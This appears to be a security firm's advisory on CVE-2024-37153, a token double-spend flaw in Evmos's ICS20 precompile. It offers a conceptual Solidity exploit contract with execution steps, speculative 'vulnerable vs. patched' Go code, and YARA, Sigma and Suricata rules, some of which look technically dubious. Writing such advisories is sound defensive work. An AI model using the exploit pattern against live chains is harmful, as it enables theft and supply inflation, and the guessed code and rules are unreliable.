CVE-2024-37153

Executive Summary

CVE-2024-37153 is a critical vulnerability in the Evmos blockchain, the Ethereum Virtual Machine (EVM) Hub on the Cosmos Network. The flaw, often described as an "infinite money glitch," allows a malicious smart contract to double the supply of Evmos tokens with each transaction. The bug is triggered when a contract performs a local state change and an ICS20 (Inter-Blockchain Communication Standard) transfer in the same function, using the contract's own address as the sender parameter in the ICS20 precompile. This effectively allows the contract to spend its balance twice: once for the local state change and once for the ICS20 transfer, leading to the creation of tokens out of thin air. The vulnerability has been patched in Evmos versions V18.1.0 and later.

Supply Chain & Package Security

This vulnerability is specific to the Evmos blockchain software, which is built using the Cosmos SDK and Go. While not a traditional package manager vulnerability (NPM, PyPI, etc.), the supply chain risk lies in the Evmos node software itself. Any entity running an Evmos node (validator, RPC provider, or user) is at risk if they have not upgraded to the patched version. The exploit does not require a malicious dependency but rather exploits a logic flaw in the core protocol's handling of ICS20 transfers and contract state.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: High (I:H)
• Availability Impact: None (A:N)

The high integrity impact reflects the ability to arbitrarily inflate the token supply, undermining the entire economic security of the Evmos chain. The low attack complexity and no required privileges make this a severe threat.

Deep Dive & Mechanics

The vulnerability resides in the interaction between the EVM (Ethereum Virtual Machine) and the ICS20 transfer precompile on the Evmos chain. The ICS20 precompile allows smart contracts to initiate token transfers across the Cosmos IBC (Inter-Blockchain Communication) network.

The Bug: When a smart contract calls a function that both:

1. Modifies its own local state (e.g., updates a balance mapping).
2. Initiates an ICS20 transfer using the contract's own address as the sender parameter.

The Evmos node incorrectly processes the contract's balance. The local state change deducts tokens from the contract's balance, but the ICS20 transfer also deducts the same tokens from the contract's balance. Since the ICS20 precompile uses the contract's address as the sender, it checks the contract's balance at the time of the transfer. However, due to the order of operations or a lack of proper state synchronization, the same tokens are effectively spent twice.

The "Infinite Money Glitch": By repeatedly calling this function, an attacker can double the amount of Evmos tokens they control with each transaction. For example, if a contract holds 100 EVMOS, after one exploit transaction, it can send 100 EVMOS via ICS20 and still have 100 EVMOS in its local state. This can be repeated to exponentially increase the supply.

Vulnerable vs. Patched Code

The vulnerable code is in the ICS20 precompile implementation within the Evmos node. The exact code is not publicly disclosed, but the logic flaw is as follows:

Vulnerable (Conceptual):

func (p *ICS20Precompile) Transfer(ctx sdk.Context, sender common.Address, recipient string, amount sdk.Coin) error {
    // Deduct tokens from sender's balance (local state)
    err := p.bankKeeper.SendCoinsFromAccountToModule(ctx, sender, "transfer", amount)
    if err != nil {
        return err
    }
    // Initiate ICS20 transfer using the same sender
    // This also deducts tokens from the sender's balance again
    err = p.ics20Keeper.SendTransfer(ctx, sender.String(), recipient, amount)
    if err != nil {
        return err
    }
    return nil
}

Patched (Conceptual):

func (p *ICS20Precompile) Transfer(ctx sdk.Context, sender common.Address, recipient string, amount sdk.Coin) error {
    // Use a different source for the ICS20 transfer, e.g., a module account
    // or ensure the balance is only deducted once.
    // The patched version likely uses a dedicated escrow account or
    // checks that the sender's balance is not double-counted.
    err := p.ics20Keeper.SendTransfer(ctx, sender.String(), recipient, amount)
    if err != nil {
        return err
    }
    // No separate local deduction; the ICS20 keeper handles the balance change.
    return nil
}

The patch ensures that the token deduction is handled atomically by the ICS20 keeper, preventing the double-spend.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to an Evmos node running a vulnerable version (< V18.1.0).
• A smart contract with a balance of Evmos tokens.
• Ability to deploy and execute a malicious contract.

Exploit Contract (Conceptual Solidity):

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IICS20Transfer {
    function transfer(
        address sender,
        string memory recipient,
        string memory denom,
        uint256 amount
    ) external returns (bool);
}

contract InfiniteMoneyGlitch {
    IICS20Transfer constant ics20 = IICS20Transfer(0x...); // ICS20 precompile address
    address constant evmos = 0x...; // Evmos token address

    function exploit() external {
        // Step 1: Modify local state (e.g., update a balance mapping)
        // This is a placeholder for any state change that deducts tokens
        // from the contract's balance.
        _localStateChange();

        // Step 2: Initiate ICS20 transfer using this contract as sender
        // This will also deduct tokens, but due to the bug, the same tokens
        // are spent twice.
        ics20.transfer(address(this), "cosmos1...", "aevmos", 100 ether);
    }

    function _localStateChange() internal {
        // Simulate a local state change that deducts tokens
        // In reality, this could be any function that modifies the contract's
        // balance mapping.
    }
}

Execution:

1. Deploy the contract with an initial balance of 100 EVMOS.
2. Call the exploit() function.
3. The contract will send 100 EVMOS via ICS20, but its local balance will remain 100 EVMOS.
4. Repeat to double the supply with each call.

Blue Team (Defense & Detection)

Detection:

• Monitor for unusual ICS20 transfer patterns, especially from smart contracts.
• Alert on transactions where a contract's balance does not decrease after an ICS20 transfer.
• Look for rapid, repeated calls to the ICS20 precompile from the same contract.

Mitigation:

• Immediately upgrade all Evmos nodes to version V18.1.0 or later.
• If upgrade is not possible, temporarily disable the ICS20 precompile or restrict its usage to whitelisted contracts.
• Monitor for anomalous token supply increases on the Evmos chain.

Indicators of Compromise (IOCs)

• On-chain:
  • Smart contracts repeatedly calling the ICS20 precompile with their own address as the sender.
  • Transactions where a contract's balance remains unchanged after an ICS20 transfer.
  • Unusual spikes in the total supply of Evmos tokens.
• Network:
  • IBC packets originating from Evmos with anomalous amounts.
• Logs:
  • Node logs showing repeated ICS20 transfer attempts from the same contract address.

Detection Engineering

YARA Rule

rule CVE_2024_37153_Evmos_Infinite_Money_Glitch {
    meta:
        description = "Detects potential exploitation of CVE-2024-37153 in Evmos smart contracts"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-37153"
    strings:
        $ics20_transfer = "transfer(address,string,string,uint256)" ascii wide
        $self_sender = "address(this)" ascii wide
        $local_state = "balanceOf" ascii wide
    condition:
        all of them
}

Sigma Rule

title: Evmos Infinite Money Glitch Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential exploitation of CVE-2024-37153 by monitoring for anomalous ICS20 transfer patterns
author: Valters IT
logsource:
    product: evmos
    service: node
detection:
    selection:
        event: "ics20_transfer"
        sender: "contract_address"
        amount: "> 0"
    condition: selection
falsepositives:
    - Legitimate ICS20 transfers from contracts
level: high

Suricata Rule

alert tcp any any -> any 26656 (msg:"CVE-2024-37153 Evmos Infinite Money Glitch - ICS20 Transfer from Contract"; content:"|05|ics20|00|transfer"; flow:to_server; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade all Evmos nodes to version V18.1.0 or later. This is the only complete fix.
2. Workaround: If immediate upgrade is not possible, disable the ICS20 precompile or implement a whitelist of allowed sender addresses.
3. Monitoring: Implement the detection rules above to identify any ongoing exploitation.
4. Post-Incident: If exploitation is detected, consider a chain halt and rollback to a state before the exploit. Coordinate with the Evmos community and validators.

Valters IT
Securing the Cosmos, One Block at a Time.